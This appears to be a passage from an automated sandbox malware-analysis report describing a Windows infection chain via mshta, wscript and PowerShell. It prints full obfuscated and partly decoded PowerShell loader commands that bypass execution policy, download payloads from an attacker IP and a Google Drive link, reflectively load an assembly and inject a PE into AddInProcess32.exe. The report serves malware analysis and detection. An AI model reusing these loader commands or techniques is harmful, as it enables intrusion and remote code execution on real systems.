Source: C:\Windows\System32\wscript.exe	Window found: window name: WSH-Timer			Jump to behavior
Source: C:\Windows\System32\wscript.exe	Window found: window name: WSH-Timer

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 4747	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 1428	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 4965	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 2270	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 1599	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 851	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 1095	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 8686	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 599
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 1605
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 1500
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 572
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 600
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 989
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 1667
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 8156

Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\41k31je4\41k31je4.dll			Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\sblybu2m\sblybu2m.dll			Jump to dropped file

Source: C:\Windows\System32\mshta.exe TID: 3504	Thread sleep time: -60000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 3672	Thread sleep time: -120000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 3768	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 3640	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 3708	Thread sleep count: 4965 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 3708	Thread sleep count: 2270 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 3744	Thread sleep time: -120000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 3748	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 3688	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 3960	Thread sleep count: 1599 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 3960	Thread sleep count: 851 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 3996	Thread sleep time: -60000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 4036	Thread sleep count: 1095 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 4036	Thread sleep count: 8686 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 4072	Thread sleep time: -60000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 4076	Thread sleep time: -16602069666338586s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 4076	Thread sleep time: -1200000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\mshta.exe TID: 3044	Thread sleep time: -420000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 2968	Thread sleep count: 599 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 2968	Thread sleep count: 1605 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 300	Thread sleep time: -180000s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 1148	Thread sleep time: -2767011611056431s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 1404	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 1564	Thread sleep count: 1500 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 1564	Thread sleep count: 572 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 2216	Thread sleep time: -60000s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 2584	Thread sleep time: -1844674407370954s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 1216	Thread sleep time: -1844674407370954s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 3464	Thread sleep count: 600 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 3464	Thread sleep count: 989 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 3552	Thread sleep time: -60000s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 3524	Thread sleep count: 1667 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 3440	Thread sleep count: 8156 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 2416	Thread sleep time: -60000s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 3064	Thread sleep time: -22136092888451448s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 3064	Thread sleep time: -3000000s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe TID: 3540	Thread sleep time: -240000s >= -30000s

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 600000	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 600000
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Thread delayed: delay time: 60000

Source: wscript.exe, 0000000B.00000003.434706586.00000000002E0000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 0000000B.00000003.434741288.00000000002F4000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 0000000B.00000003.434800142.00000000002F7000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000017.00000003.475033890.000000000015A000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000017.00000003.474904679.0000000000143000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000017.00000003.474967019.0000000000157000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: mWctmPxgKqemUPO
Source: wscript.exe, 0000000B.00000003.434722307.0000000000313000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 0000000B.00000003.435360559.0000000003891000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 0000000B.00000003.435417777.00000000004D1000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 0000000B.00000003.434773220.0000000000313000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 0000000B.00000003.435145243.0000000000498000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 0000000B.00000002.435707693.0000000000313000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 0000000B.00000003.434800142.0000000000313000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000017.00000003.474904679.0000000000175000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000017.00000003.474989684.0000000000175000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000017.00000003.477949390.00000000003F1000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000017.00000003.477265850.00000000024B1000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: mWctmPxgKqemUPO = "LuLxoNRdcPoUimproficienteu"
Source: wscript.exe, 0000000B.00000003.434722307.0000000000313000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 0000000B.00000003.434773220.0000000000313000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 0000000B.00000002.435707693.0000000000313000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 0000000B.00000003.434800142.0000000000313000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000017.00000003.474904679.0000000000175000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000017.00000003.474989684.0000000000175000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000017.00000003.475033890.0000000000175000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000017.00000002.478205024.0000000000175000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: mWctmPxgKqemUPO[

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process token adjusted: Debug

HIPS / PFW / Operating System Protection Evasion

Yara detected Powershell download and execute

Source: Yara match	File source: Process Memory Space: powershell.exe PID: 4000, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: powershell.exe PID: 3560, type: MEMORYSTR

Bypasses PowerShell execution policy

Source: C:\Windows\System32\wscript.exe

Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'KCgnVUNRaW1hZ2VVcmwgPSAwVERodHRwczovL2RyaXZlLmdvb2dsZS5jb20vdWM/ZXhwb3J0PWRvd25sb2EnKydkJysnJmlkPTFBSVZnSkpKdjFGNnZTNHNVT3libkgtc0R2VWhCWXd1ciAwVEQ7VUNRd2ViQ2xpZW50ID0gTmV3LU9iamVjdCBTeXN0ZW0uTmV0LlcnKydlYkNsaWVudDtVQ1FpbWFnZUJ5dGVzID0gVUNRd2ViQ2xpZW50LkRvd25sb2FkRGF0YShVQ1FpbScrJ2FnZVVybCk7VUNRaW1hZ2VUZXh0ID0gW1N5c3RlbS5UZXh0LkVuY29kaW5nXTo6VVRGOC5HZXRTdHJpbmcnKycoVUNRaW1hZ2VCeXRlcyk7VUNRc3RhcnRGbGFnID0gMFREPDxCQVNFNjRfU1RBUlQ+PjBURDtVQ1EnKydlbmRGbGFnID0gMFREPDxCQVNFNjRfRU5EPj4wVEQ7VUNRc3RhcnRJbmRleCA9IFVDUWltYWdlVGV4dC5JbmRleE9mKFVDUXN0YXJ0RmxhZyk7VUNRZW5kSW5kZXggPSBVQ1FpbWFnZVRleHQuSW5kZXhPZihVQ1FlbmRGbGFnKTtVQ1FzdCcrJ2FydEluZGV4IC1nZSAwIC1hbmQgVUNRZW5kSW5kZXggLWd0IFVDUXN0YXJ0SW5kZXg7VUNRc3RhcnRJbmRleCArPSBVQ1FzdGFydEZsYWcuTGVuZ3RoO1VDUWJhc2U2NCcrJ0xlbmd0aCA9ICcrJ1VDJysnUScrJ2VuZEluZGV4IC0gVUNRc3RhcnRJbmRleDtVQ1FiYXNlNjRDb21tYW5kICcrJz0gVUNRaW1hZ2VUZXh0LlN1YnN0cmluZyhVQ1FzdGFydEluZGV4LCBVQ1FiYXNlNjRMZW5ndGgpO1VDUWJhc2U2NFJldmVyc2VkID0gLWpvaW4gKFVDUWJhc2U2NENvbW1hbmQuVG9DaGFyQXJyYXkoKSBQeXogRm9yRWFjaC1PYmplY3QgeyBVQ1FfIH0pWycrJy0xLi4tKFVDUWJhc2U2NENvbW1hbmQuTGVuZ3RoKV07VUNRY29tbWFuZEJ5dGVzID0gW1N5c3RlbS5Db252ZXJ0XTo6RnJvbUJhc2U2NFN0cmluZyhVQ1FiYXNlNjRSZXZlcnNlZCk7VUNRbG9hZGVkQXNzJysnZW1ibHkgPSBbU3lzdGVtLlJlZmxlY3Rpb24uQXNzZW1ibHldOjpMb2FkKFVDUWNvbW1hbmRCeXRlcyk7VUMnKydRdmFpTWV0aG9kID0gW2RubGliLklPLkhvbScrJ2VdLkdldE1ldGhvZCgwVERWQUkwVEQpO1VDUXZhaU1ldGhvZC5JbnZva2UoJysnVUNRJysnbnVsbCwgQCgwVER0eHQuSUtPTDAyJVNHT0wvNjMvMTQxLjYnKyc3MS4zLjI5MS8vOnB0dGgwVEQsIDBURGRlc2F0aXZhZG8wVEQsIDBURGRlc2F0aXZhZG8wVEQsIDBURGRlc2F0aScrJ3ZhZG8wVEQsIDBUREFkZEluUHJvY2VzczMyMFRELCAwVERkZXNhdGl2YWRvMFRELCAwVERkZXNhdGl2YWRvMFRELDBURGRlc2F0aXZhZG8wVEQsMFREZGVzYXRpdmFkbzBURCwnKycwVERkZXNhdGl2YWRvJysnMFRELDBURGRlc2F0aXZhZG8wVEQsMFREZGVzYXRpdmFkbzBURCwwVCcrJ0QxMFRELDBURGRlc2F0aXZhZCcrJ28wVEQpKScrJzsnKS1yRXBsYWNFJ1VDUScsW2NIYVJdMzYgIC1yRXBsYWNFJzBURCcsW2NIYVJdMzkgIC1yRXBsYWNFIChbY0hhUl04MCtbY0hhUl0xMjErW2NIYVJdMTIyKSxbY0hhUl0xMjQpIHwuICgoR0VULXZhUklhQkxlICcqbWRyKicpLm5hTUVbMywxMSwyXS1Kb0lOJycp';$OWjuxd = [system.Text.encoding]::UTF8.GetString([system.Convert]::Frombase64String($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD

Injects a PE file into a foreign processes

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe base: 400000 value starts with: 4D5A

Jump to behavior

Writes to foreign memory regions

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe base: 400000	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe base: 401000	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe base: 415000	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe base: 41A000	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe base: 4A0000	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe base: 7EFDE008	Jump to behavior

Source: C:\Windows\System32\mshta.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\sYSTEm32\WinDOWspOwershElL\v1.0\pOweRshEll.eXe" "PoWeRshELL.exE -eX bYpASs -NOp -w 1 -c DEvICecrEdentiaLdePlOYMent.ExE ; Iex($(IEx('[sYsTem.TeXt.eNcOdiNg]'+[ChAR]58+[chAR]0X3A+'utf8.getSTrIng([sYsTeM.cOnvErt]'+[CHar]0x3A+[cHaR]0x3A+'frOMbAsE64StrinG('+[ChAR]0x22+'JFQgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgID0gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIEFEZC1UWVBFICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtTUVtQkVyZEVGSU5pdGlvTiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJ1tEbGxJbXBvcnQoIlVybG1vbi5kTEwiLCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQ2hhclNldCA9IENoYXJTZXQuVW5pY29kZSldcHVibGljIHN0YXRpYyBleHRlcm4gSW50UHRyIFVSTERvd25sb2FkVG9GaWxlKEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgUmhQQVdhVSxzdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFpIT0djVSxzdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFFvLHVpbnQgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGxzaGJQSHRzLEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgaik7JyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLU5BbUUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICJuaWVlIiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLW5hbWVTcEFjZSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgcnB3WUlpRnNleCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLVBhc3NUaHJ1OyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJFQ6OlVSTERvd25sb2FkVG9GaWxlKDAsImh0dHA6Ly8xOTIuMy4xNzYuMTQxLzM2L2dvb2R0aGluZ3N3aXRoZ3JlYXRjb21lYmFja3dpdGhncmVhdHRoaWducy50SUYiLCIkRU5WOkFQUERBVEFcZ29vZHRoaW5nc3dpdGhncmVhdGNvbWViYWNrd2l0aGdyZWF0dGhpZy52YlMiLDAsMCk7c1RhUnQtc2xlZVAoMyk7U3RhcnQgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICIkZU52OkFQUERBVEFcZ29vZHRoaW5nc3dpdGhncmVhdGNvbWViYWNrd2l0aGdyZWF0dGhpZy52YlMi'+[ChAr]34+'))')))"	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -eX bYpASs -NOp -w 1 -c DEvICecrEdentiaLdePlOYMent.ExE	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\41k31je4\41k31je4.cmdline"	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\wscript.exe "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Roaming\goodthingswithgreatcomebackwithgreatthig.vbS"	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RES4A69.tmp" "c:\Users\user\AppData\Local\Temp\41k31je4\CSC1CC2DACCE81D4F99A1AD504B85F71256.TMP"	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'KCgnVUNRaW1hZ2VVcmwgPSAwVERodHRwczovL2RyaXZlLmdvb2dsZS5jb20vdWM/ZXhwb3J0PWRvd25sb2EnKydkJysnJmlkPTFBSVZnSkpKdjFGNnZTNHNVT3libkgtc0R2VWhCWXd1ciAwVEQ7VUNRd2ViQ2xpZW50ID0gTmV3LU9iamVjdCBTeXN0ZW0uTmV0LlcnKydlYkNsaWVudDtVQ1FpbWFnZUJ5dGVzID0gVUNRd2ViQ2xpZW50LkRvd25sb2FkRGF0YShVQ1FpbScrJ2FnZVVybCk7VUNRaW1hZ2VUZXh0ID0gW1N5c3RlbS5UZXh0LkVuY29kaW5nXTo6VVRGOC5HZXRTdHJpbmcnKycoVUNRaW1hZ2VCeXRlcyk7VUNRc3RhcnRGbGFnID0gMFREPDxCQVNFNjRfU1RBUlQ+PjBURDtVQ1EnKydlbmRGbGFnID0gMFREPDxCQVNFNjRfRU5EPj4wVEQ7VUNRc3RhcnRJbmRleCA9IFVDUWltYWdlVGV4dC5JbmRleE9mKFVDUXN0YXJ0RmxhZyk7VUNRZW5kSW5kZXggPSBVQ1FpbWFnZVRleHQuSW5kZXhPZihVQ1FlbmRGbGFnKTtVQ1FzdCcrJ2FydEluZGV4IC1nZSAwIC1hbmQgVUNRZW5kSW5kZXggLWd0IFVDUXN0YXJ0SW5kZXg7VUNRc3RhcnRJbmRleCArPSBVQ1FzdGFydEZsYWcuTGVuZ3RoO1VDUWJhc2U2NCcrJ0xlbmd0aCA9ICcrJ1VDJysnUScrJ2VuZEluZGV4IC0gVUNRc3RhcnRJbmRleDtVQ1FiYXNlNjRDb21tYW5kICcrJz0gVUNRaW1hZ2VUZXh0LlN1YnN0cmluZyhVQ1FzdGFydEluZGV4LCBVQ1FiYXNlNjRMZW5ndGgpO1VDUWJhc2U2NFJldmVyc2VkID0gLWpvaW4gKFVDUWJhc2U2NENvbW1hbmQuVG9DaGFyQXJyYXkoKSBQeXogRm9yRWFjaC1PYmplY3QgeyBVQ1FfIH0pWycrJy0xLi4tKFVDUWJhc2U2NENvbW1hbmQuTGVuZ3RoKV07VUNRY29tbWFuZEJ5dGVzID0gW1N5c3RlbS5Db252ZXJ0XTo6RnJvbUJhc2U2NFN0cmluZyhVQ1FiYXNlNjRSZXZlcnNlZCk7VUNRbG9hZGVkQXNzJysnZW1ibHkgPSBbU3lzdGVtLlJlZmxlY3Rpb24uQXNzZW1ibHldOjpMb2FkKFVDUWNvbW1hbmRCeXRlcyk7VUMnKydRdmFpTWV0aG9kID0gW2RubGliLklPLkhvbScrJ2VdLkdldE1ldGhvZCgwVERWQUkwVEQpO1VDUXZhaU1ldGhvZC5JbnZva2UoJysnVUNRJysnbnVsbCwgQCgwVER0eHQuSUtPTDAyJVNHT0wvNjMvMTQxLjYnKyc3MS4zLjI5MS8vOnB0dGgwVEQsIDBURGRlc2F0aXZhZG8wVEQsIDBURGRlc2F0aXZhZG8wVEQsIDBURGRlc2F0aScrJ3ZhZG8wVEQsIDBUREFkZEluUHJvY2VzczMyMFRELCAwVERkZXNhdGl2YWRvMFRELCAwVERkZXNhdGl2YWRvMFRELDBURGRlc2F0aXZhZG8wVEQsMFREZGVzYXRpdmFkbzBURCwnKycwVERkZXNhdGl2YWRvJysnMFRELDBURGRlc2F0aXZhZG8wVEQsMFREZGVzYXRpdmFkbzBURCwwVCcrJ0QxMFRELDBURGRlc2F0aXZhZCcrJ28wVEQpKScrJzsnKS1yRXBsYWNFJ1VDUScsW2NIYVJdMzYgIC1yRXBsYWNFJzBURCcsW2NIYVJdMzkgIC1yRXBsYWNFIChbY0hhUl04MCtbY0hhUl0xMjErW2NIYVJdMTIyKSxbY0hhUl0xMjQpIHwuICgoR0VULXZhUklhQkxlICcqbWRyKicpLm5hTUVbMywxMSwyXS1Kb0lOJycp';$OWjuxd = [system.Text.encoding]::UTF8.GetString([system.Convert]::Frombase64String($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "(('UCQimageUrl = 0TDhttps://drive.google.com/uc?export=downloa'+'d'+'&id=1AIVgJJJv1F6vS4sUOybnH-sDvUhBYwur 0TD;UCQwebClient = New-Object System.Net.W'+'ebClient;UCQimageBytes = UCQwebClient.DownloadData(UCQim'+'ageUrl);UCQimageText = [System.Text.Encoding]::UTF8.GetString'+'(UCQimageBytes);UCQstartFlag = 0TD<<BASE64_START>>0TD;UCQ'+'endFlag = 0TD<<BASE64_END>>0TD;UCQstartIndex = UCQimageText.IndexOf(UCQstartFlag);UCQendIndex = UCQimageText.IndexOf(UCQendFlag);UCQst'+'artIndex -ge 0 -and UCQendIndex -gt UCQstartIndex;UCQstartIndex += UCQstartFlag.Length;UCQbase64'+'Length = '+'UC'+'Q'+'endIndex - UCQstartIndex;UCQbase64Command '+'= UCQimageText.Substring(UCQstartIndex, UCQbase64Length);UCQbase64Reversed = -join (UCQbase64Command.ToCharArray() Pyz ForEach-Object { UCQ_ })['+'-1..-(UCQbase64Command.Length)];UCQcommandBytes = [System.Convert]::FromBase64String(UCQbase64Reversed);UCQloadedAss'+'embly = [System.Reflection.Assembly]::Load(UCQcommandBytes);UC'+'QvaiMethod = [dnlib.IO.Hom'+'e].GetMethod(0TDVAI0TD);UCQvaiMethod.Invoke('+'UCQ'+'null, @(0TDtxt.IKOL02%SGOL/63/141.6'+'71.3.291//:ptth0TD, 0TDdesativado0TD, 0TDdesativado0TD, 0TDdesati'+'vado0TD, 0TDAddInProcess320TD, 0TDdesativado0TD, 0TDdesativado0TD,0TDdesativado0TD,0TDdesativado0TD,'+'0TDdesativado'+'0TD,0TDdesativado0TD,0TDdesativado0TD,0T'+'D10TD,0TDdesativad'+'o0TD))'+';')-rEplacE'UCQ',[cHaR]36 -rEplacE'0TD',[cHaR]39 -rEplacE ([cHaR]80+[cHaR]121+[cHaR]122),[cHaR]124) \|. ((GET-vaRIaBLe 'mdr').naME[3,11,2]-JoIN'')"	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe"	Jump to behavior
